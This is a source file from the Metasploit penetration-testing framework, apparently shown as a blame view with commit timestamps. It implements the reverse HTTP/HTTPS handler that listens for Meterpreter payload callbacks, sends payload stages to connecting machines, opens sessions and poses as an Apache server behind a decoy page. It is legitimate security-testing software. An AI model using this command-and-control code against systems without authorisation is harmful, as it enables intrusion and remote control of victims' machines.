2012-06-29 00:18:28 -05:00
# -*- coding: binary -*-
2011-06-28 21:26:43 +00:00
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
2015-04-03 13:42:25 +10:00
require 'rex/payloads/meterpreter/uri_checksum'
2015-07-01 16:04:54 -05:00
require 'rex/post/meterpreter'
2015-03-18 11:10:31 +10:00
require 'rex/parser/x509_certificate'
2015-03-23 13:21:08 +10:00
require 'msf/core/payload/windows/verify_ssl'
2015-07-15 12:58:49 +10:00
require 'rex/user_agent'
2011-06-28 21:26:43 +00:00
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
2013-08-30 16:28:33 -05:00
include Msf :: Handler
2015-04-03 13:42:25 +10:00
include Rex :: Payloads :: Meterpreter :: UriChecksum
2015-03-23 13:21:08 +10:00
include Msf :: Payload :: Windows :: VerifySsl
2013-08-30 16:28:33 -05:00
#
# Returns the string representation of the handler type
#
def self . handler_type
2015-07-15 12:58:49 +10:00
return 'reverse_http'
2013-08-30 16:28:33 -05:00
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self . general_handler_type
" tunnel "
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize ( info = { } )
super
register_options (
[
2015-07-15 12:58:49 +10:00
OptString . new ( 'LHOST' , [ true , 'The local listener hostname' ] ) ,
OptPort . new ( 'LPORT' , [ true , 'The local listener port' , 8080 ] )
2013-08-30 16:28:33 -05:00
] , Msf :: Handler :: ReverseHttp )
register_advanced_options (
[
2015-07-15 12:58:49 +10:00
OptString . new ( 'ReverseListenerComm' , [ false , 'The specific communication channel to use for this listener' ] ) ,
OptString . new ( 'MeterpreterUserAgent' , [ false , 'The user-agent that the payload should use for communication' , Rex :: UserAgent . shortest ] ) ,
OptString . new ( 'MeterpreterServerName' , [ false , 'The server header that the handler will send in response to requests' , 'Apache' ] ) ,
OptAddress . new ( 'ReverseListenerBindAddress' , [ false , 'The specific IP address to bind to on the local system' ] ) ,
OptInt . new ( 'ReverseListenerBindPort' , [ false , 'The port to bind to on the local system if different from LPORT' ] ) ,
2015-08-12 16:20:14 -05:00
OptBool . new ( 'OverrideRequestHost' , [ false , 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT' , false ] ) ,
OptString . new ( 'OverrideLHOST' , [ false , 'When OverrideRequestHost is set, use this value as the host name for secondary requests' ] ) ,
OptPort . new ( 'OverrideLPORT' , [ false , 'When OverrideRequestHost is set, use this value as the port number for secondary requests' ] ) ,
2015-07-15 12:58:49 +10:00
OptString . new ( 'HttpUnknownRequestResponse' , [ false , 'The returned HTML response body when the handler receives a request that is not from a payload' , '<html><body><h1>It works!</h1></body></html>' ] ) ,
2015-05-20 19:47:17 -05:00
OptBool . new ( 'IgnoreUnknownPayloads' , [ false , 'Whether to drop connections from payloads using unknown UUIDs' , false ] )
2013-08-30 16:28:33 -05:00
] , Msf :: Handler :: ReverseHttp )
end
2014-04-16 18:32:35 -05:00
# Determine where to bind the server
2013-08-30 16:28:33 -05:00
#
2014-04-16 18:32:35 -05:00
# @return [String]
def listener_address
2015-07-15 12:58:49 +10:00
if datastore [ 'ReverseListenerBindAddress' ] . to_s == ''
2015-03-18 01:01:10 -05:00
bindaddr = Rex :: Socket . is_ipv6? ( datastore [ 'LHOST' ] ) ? '::' : '0.0.0.0'
2014-04-16 18:32:35 -05:00
else
bindaddr = datastore [ 'ReverseListenerBindAddress' ]
end
bindaddr
end
2015-03-18 01:01:10 -05:00
# Return a URI suitable for placing in a payload
#
2014-04-16 18:32:35 -05:00
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
2015-03-18 01:01:10 -05:00
uri_host = Rex :: Socket . is_ipv6? ( listener_address ) ? " [ #{ listener_address } ] " : listener_address
2015-11-27 09:16:20 +00:00
" #{ scheme } :// #{ uri_host } : #{ bind_port } / "
2014-04-16 18:32:35 -05:00
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
2015-03-11 19:40:52 -05:00
def payload_uri ( req )
2015-08-12 16:20:14 -05:00
callback_host = nil
# Extract whatever the client sent us in the Host header
2015-08-16 11:21:22 -05:00
if req && req . headers && req . headers [ 'Host' ]
2015-03-11 19:40:52 -05:00
callback_host = req . headers [ 'Host' ]
2014-04-16 18:32:35 -05:00
end
2015-08-12 16:20:14 -05:00
2015-08-12 21:11:48 -05:00
# Override the host and port as appropriate
2015-08-12 16:20:14 -05:00
if datastore [ 'OverrideRequestHost' ] || callback_host . nil?
callback_name = datastore [ 'OverrideLHOST' ] || datastore [ 'LHOST' ]
callback_port = datastore [ 'OverrideLPORT' ] || datastore [ 'LPORT' ]
if Rex :: Socket . is_ipv6? callback_name
callback_name = " [ #{ callback_name } ] "
end
callback_host = " #{ callback_name } : #{ callback_port } "
end
2015-03-11 19:40:52 -05:00
" #{ scheme } :// #{ callback_host } / "
2014-04-16 18:32:35 -05:00
end
# Use the {#refname} to determine whether this handler uses SSL or not
#
def ssl?
2015-07-15 12:58:49 +10:00
! ! ( self . refname . index ( 'https' ) )
2014-04-16 18:32:35 -05:00
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
2015-07-15 12:58:49 +10:00
( ssl? ) ? 'https' : 'http'
2014-04-16 18:32:35 -05:00
end
2013-08-30 16:28:33 -05:00
# Create an HTTP listener
#
def setup_handler
comm = datastore [ 'ReverseListenerComm' ]
2015-07-15 12:58:49 +10:00
if ( comm . to_s == 'local' )
2013-08-30 16:28:33 -05:00
comm = :: Rex :: Socket :: Comm :: Local
else
comm = nil
end
2013-11-05 06:56:21 +10:00
local_port = bind_port
2014-01-04 15:50:06 -05:00
2013-08-30 16:28:33 -05:00
# Start the HTTPS server service on this host/port
self . service = Rex :: ServiceManager . start ( Rex :: Proto :: Http :: Server ,
2013-09-28 05:38:39 +10:00
local_port ,
2014-04-16 18:32:35 -05:00
listener_address ,
2013-08-30 16:28:33 -05:00
ssl? ,
{
'Msf' = > framework ,
'MsfExploit' = > self ,
} ,
comm ,
2015-07-15 12:58:49 +10:00
( ssl? ) ? datastore [ 'HandlerSSLCert' ] : nil
2013-08-30 16:28:33 -05:00
)
self . service . server_name = datastore [ 'MeterpreterServerName' ]
# Create a reference to ourselves
obj = self
# Add the new resource
service . add_resource ( " / " ,
'Proc' = > Proc . new { | cli , req |
on_request ( cli , req , obj )
} ,
'VirtualDirectory' = > true )
2014-04-16 18:32:35 -05:00
print_status ( " Started #{ scheme . upcase } reverse handler on #{ listener_uri } " )
2015-03-18 00:59:59 -05:00
lookup_proxy_settings
2015-05-21 00:22:41 -05:00
if datastore [ 'IgnoreUnknownPayloads' ]
print_status ( " Handler is ignoring unknown payloads, there are #{ framework . uuid_db . keys . length } UUIDs whitelisted " )
end
2013-08-30 16:28:33 -05:00
end
#
2015-02-19 09:38:48 -06:00
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
2013-08-30 16:28:33 -05:00
#
def stop_handler
2015-02-24 11:06:50 -06:00
if self . service
2015-07-15 12:58:49 +10:00
self . service . remove_resource ( '/' )
2015-04-12 23:12:30 -05:00
if self . service . resources . empty? && self . sessions == 0
Rex :: ServiceManager . stop_service ( self . service )
end
2015-02-24 11:06:50 -06:00
end
2013-08-30 16:28:33 -05:00
end
attr_accessor :service # :nodoc:
2011-06-28 21:26:43 +00:00
protected
2015-03-18 00:59:59 -05:00
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = { }
return @proxy_settings if @proxy_settings
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyHost' ] . to_s == ''
2015-03-18 00:59:59 -05:00
@proxy_settings = info
return @proxy_settings
end
2015-03-18 01:15:32 -05:00
info [ :host ] = datastore [ 'PayloadProxyHost' ] . to_s
info [ :port ] = ( datastore [ 'PayloadProxyPort' ] || 8080 ) . to_i
info [ :type ] = datastore [ 'PayloadProxyType' ] . to_s
2015-03-18 00:59:59 -05:00
2015-03-18 01:01:10 -05:00
uri_host = info [ :host ]
if Rex :: Socket . is_ipv6? ( uri_host )
uri_host = " [ #{ info [ :host ] } ] "
2015-03-18 00:59:59 -05:00
end
2015-03-18 01:01:10 -05:00
info [ :info ] = " #{ uri_host } : #{ info [ :port ] } "
if info [ :type ] == " SOCKS "
info [ :info ] = " socks= #{ info [ :info ] } "
else
2015-03-18 00:59:59 -05:00
info [ :info ] = " http:// #{ info [ :info ] } "
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyUser' ] . to_s != ''
2015-03-18 01:15:32 -05:00
info [ :username ] = datastore [ 'PayloadProxyUser' ] . to_s
2015-03-18 00:59:59 -05:00
end
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyPass' ] . to_s != ''
2015-03-18 01:15:32 -05:00
info [ :password ] = datastore [ 'PayloadProxyPass' ] . to_s
2015-03-18 00:59:59 -05:00
end
end
@proxy_settings = info
end
2013-08-30 16:28:33 -05:00
#
# Parses the HTTPS request
#
def on_request ( cli , req , obj )
resp = Rex :: Proto :: Http :: Response . new
2015-03-22 16:17:12 -05:00
info = process_uri_resource ( req . relative_resource )
uuid = info [ :uuid ] || Msf :: Payload :: UUID . new
2013-08-30 16:28:33 -05:00
2015-03-22 16:17:12 -05:00
# Configure the UUID architecture and payload if necessary
2015-04-06 10:55:14 -05:00
uuid . arch || = obj . arch
uuid . platform || = obj . platform
2013-08-30 16:28:33 -05:00
2015-03-21 03:15:08 -05:00
conn_id = nil
if info [ :mode ] && info [ :mode ] != :connect
2015-03-31 15:44:18 -05:00
conn_id = generate_uri_uuid ( URI_CHECKSUM_CONN , uuid )
2015-03-21 03:15:08 -05:00
end
2013-08-30 16:28:33 -05:00
2015-10-05 11:05:05 -05:00
request_summary = " #{ req . relative_resource } with UA ' #{ req . headers [ 'User-Agent' ] } ' "
2015-05-21 00:22:41 -05:00
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
2015-05-20 19:47:17 -05:00
if datastore [ 'IgnoreUnknownPayloads' ] && ! framework . uuid_db [ uuid . puid_hex ]
2015-10-05 11:05:05 -05:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Ignoring unknown UUID: #{ request_summary } " )
2015-05-20 19:47:17 -05:00
info [ :mode ] = :unknown_uuid
end
2015-05-21 00:22:41 -05:00
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore [ 'IgnoreUnknownPayloads' ] && info [ :mode ] . to_s =~ / ^init_ /
allowed_urls = framework . uuid_db [ uuid . puid_hex ] [ 'urls' ] || [ ]
unless allowed_urls . include? ( req . relative_resource )
2015-10-05 11:05:05 -05:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Ignoring unknown UUID URL: #{ request_summary } " )
2015-05-21 00:22:41 -05:00
info [ :mode ] = :unknown_uuid_url
end
end
2015-03-26 18:26:56 -05:00
self . pending_connections += 1
2013-08-30 16:28:33 -05:00
# Process the requested resource.
2015-03-21 03:15:08 -05:00
case info [ :mode ]
2015-04-14 16:33:01 +10:00
when :init_connect
2015-10-05 11:05:05 -05:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Redirecting stageless connection from #{ request_summary } " )
2015-04-14 16:33:01 +10:00
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
2015-07-02 08:03:39 +10:00
pkt = Rex :: Post :: Meterpreter :: Packet . new ( Rex :: Post :: Meterpreter :: PACKET_TYPE_RESPONSE ,
'core_patch_url' )
2015-07-01 16:04:54 -05:00
pkt . add_tlv ( Rex :: Post :: Meterpreter :: TLV_TYPE_TRANS_URL , conn_id + " / " )
2015-04-14 16:33:01 +10:00
resp . body = pkt . to_r
2015-03-21 03:15:08 -05:00
when :init_python
2015-04-14 16:33:01 +10:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Python payload ... " )
2015-03-11 19:40:52 -05:00
url = payload_uri ( req ) + conn_id + '/'
2014-11-14 11:15:22 -05:00
blob = " "
2015-05-15 12:27:25 +10:00
blob << obj . generate_stage (
2015-11-28 17:41:01 -05:00
http_url : url ,
http_user_agent : datastore [ 'MeterpreterUserAgent' ] ,
http_proxy_host : datastore [ 'PayloadProxyHost' ] || datastore [ 'PROXYHOST' ] ,
http_proxy_port : datastore [ 'PayloadProxyPort' ] || datastore [ 'PROXYPORT' ] ,
2015-05-15 12:27:25 +10:00
uuid : uuid ,
uri : conn_id
)
2014-11-14 11:15:22 -05:00
resp . body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
:passive_dispatcher = > obj . service ,
:conn_id = > conn_id ,
:url = > url ,
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
2015-04-09 17:57:43 +10:00
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
2014-11-14 11:15:22 -05:00
:ssl = > ssl? ,
2015-03-31 15:44:18 -05:00
:payload_uuid = > uuid
2014-11-14 11:15:22 -05:00
} )
2014-11-14 17:12:23 -05:00
2015-03-21 03:15:08 -05:00
when :init_java
2015-04-14 16:33:01 +10:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Java payload ... " )
2015-03-11 19:40:52 -05:00
url = payload_uri ( req ) + conn_id + " / \x00 "
2013-08-30 16:28:33 -05:00
2015-06-24 22:37:40 +10:00
blob = obj . generate_stage (
2015-05-15 12:27:25 +10:00
uuid : uuid ,
uri : conn_id
)
2013-08-30 16:28:33 -05:00
resp . body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
:passive_dispatcher = > obj . service ,
:conn_id = > conn_id ,
:url = > url ,
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
2015-04-09 17:57:43 +10:00
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
2015-03-22 16:17:12 -05:00
:ssl = > ssl? ,
2015-03-31 15:44:18 -05:00
:payload_uuid = > uuid
2013-08-30 16:28:33 -05:00
} )
2015-03-21 03:15:08 -05:00
when :init_native
2015-04-14 16:33:01 +10:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Native payload ... " )
2015-03-11 19:40:52 -05:00
url = payload_uri ( req ) + conn_id + " / \x00 "
2015-11-26 15:21:51 -06:00
uri = URI ( payload_uri ( req ) + conn_id )
2013-08-30 16:28:33 -05:00
resp [ 'Content-Type' ] = 'application/octet-stream'
2015-04-26 12:11:14 +10:00
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
2015-05-12 09:25:02 +10:00
blob = obj . stage_payload (
uuid : uuid ,
2015-11-13 13:21:46 +00:00
uri : conn_id ,
2015-11-26 15:21:51 -06:00
lhost : uri . host ,
lport : uri . port
2015-05-12 09:25:02 +10:00
)
2013-08-30 16:28:33 -05:00
resp . body = encode_stage ( blob )
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
:passive_dispatcher = > obj . service ,
:conn_id = > conn_id ,
:url = > url ,
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
2015-04-09 17:57:43 +10:00
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
2013-08-30 16:28:33 -05:00
:ssl = > ssl? ,
2015-03-31 15:44:18 -05:00
:payload_uuid = > uuid
2013-08-30 16:28:33 -05:00
} )
2015-03-21 03:15:08 -05:00
when :connect
2015-04-14 16:33:01 +10:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } (UUID: #{ uuid . to_s } ) Attaching orphaned/stageless session ... " )
2015-07-15 12:58:49 +10:00
resp . body = ''
2015-03-21 03:15:08 -05:00
conn_id = req . relative_resource
2013-08-30 16:28:33 -05:00
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
:passive_dispatcher = > obj . service ,
:conn_id = > conn_id ,
2015-03-11 19:40:52 -05:00
:url = > payload_uri ( req ) + conn_id + " / \x00 " ,
2015-07-15 12:58:49 +10:00
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
2013-08-30 16:28:33 -05:00
:ssl = > ssl? ,
2015-03-31 15:44:18 -05:00
:payload_uuid = > uuid
2013-08-30 16:28:33 -05:00
} )
else
2015-05-21 00:22:41 -05:00
unless [ :unknown_uuid , :unknown_uuid_url ] . include? ( info [ :mode ] )
2015-10-05 11:05:05 -05:00
print_status ( " #{ cli . peerhost } : #{ cli . peerport } Unknown request to #{ request_summary } " )
2015-05-21 00:22:41 -05:00
end
2013-08-30 16:28:33 -05:00
resp . code = 200
2015-07-15 12:58:49 +10:00
resp . message = 'OK'
2013-08-30 16:28:33 -05:00
resp . body = datastore [ 'HttpUnknownRequestResponse' ] . to_s
2015-03-26 18:26:56 -05:00
self . pending_connections -= 1
2013-08-30 16:28:33 -05:00
end
cli . send_response ( resp ) if ( resp )
# Force this socket to be closed
obj . service . close_client ( cli )
end
2011-06-28 21:26:43 +00:00
2013-09-28 05:38:39 +10:00
protected
2013-11-05 06:56:21 +10:00
def bind_port
2013-09-28 05:38:39 +10:00
port = datastore [ 'ReverseListenerBindPort' ] . to_i
port > 0 ? port : datastore [ 'LPORT' ] . to_i
end
2011-06-28 21:26:43 +00:00
end
end
end
2012-08-23 12:01:49 -05:00